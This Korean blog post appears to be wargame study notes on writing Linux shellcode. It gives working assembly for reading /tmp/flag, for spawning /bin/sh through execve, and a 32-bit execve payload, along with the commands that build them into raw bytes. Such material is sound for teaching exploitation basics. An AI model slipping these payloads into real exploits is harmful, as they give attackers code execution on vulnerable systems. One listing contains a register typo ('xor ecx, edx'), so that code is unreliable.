외로운 Nova의 작업실

dreamhack 시스템해킹 - 4(shell code) 본문

Computer App Penetesting/System Vulnerability

dreamhack 시스템해킹 - 4(shell code)

Nova_ 2023. 1. 2. 20:29

- 파일 열어서 읽고 출력하는 쉘코드

 

__asm__(
                ".global run_sh\n"
                "run_sh:\n"

                "push 0x67\n"
                "mov rax, 0x616c662f706d742f \n"
                "push rax\n"
                "mov rdi, rsp\n"
                "xor rsi, rsi\n"
                "xor rdx, rdx\n"
                "mov rax, 2\n"
                "syscall"
                "\n"
                "mov rdi, rax\n"
                "mov rsi, rsp\n"
                "sub rsi, 0x30\n"
                "mov rdx, 0x30\n"
                "mov rax, 0x0\n"
                "syscall"
                "\n"
                "mov rdi, 1\n"
                "mov rax, 0x1 \n"
                "syscall"
                "\n"
                "xor rdi, rdi\n"
                "mov rax, 0x3c\n"
                "syscall"
       );

void run_sh();

int main() { run_sh();}

0x616c662f706d742f67은 "/tmp/flag"를 의미합니다. 한번 실행시켜보겠습니다.

 

아래 링크에는 syscall에대해 나와있습니다.

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md 

 

Chromium OS Docs - Linux System Call Table

Linux System Call Table These are the system call numbers (NR) and their corresponding symbolic names. These vary significantly across architectures/ABIs, both in mappings and in actual name. This is a quick reference for people debugging things (e.g. secc

chromium.googlesource.com

 

- execve함수로 쉘코드실행

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
void run_sh();
int main() { run_sh(); }

위 코드를 실행시키게 되면

쉘이 시작됩니다. 나가는 건 exit 0을 입력하면됩니다.

 

- 쉘코드 binary로 만들기

$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin

$ nasm -f elf64 write.asm
$ objcopy --dump-section .text=write.bin write.o
$ xxd write.bin

 

위 명령어로 asm 파일을 binary로 만들어보겠습니다. 아래는 shellcode.asm 파일입니다.

section .text
global _start
_start :
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, edx
xor edx, edx
mov al, 0xb
int 0x80

아래는 shellcode.bin 파일입니다.

해당 코드는 int 80으로 syscall함수를 사용하는 것으로 관련 자료는 아래 있습니다.

https://faculty.nps.edu/cseagle/assembly/sys_call.html

 

Linux System Call Table

vm86_regs include/asm/vm86.h: struct vm86_regs { /* normal regs, with special meaning for the segment descriptors.. */      long ebx;      long ecx;      long edx;      long esi;      long edi;      long ebp;      long ea

faculty.nps.edu

al에 b가 들어가있기때문에 11을 보게되면 execve를 실행하는 함수인 것을 알 수 있습니다.

Comments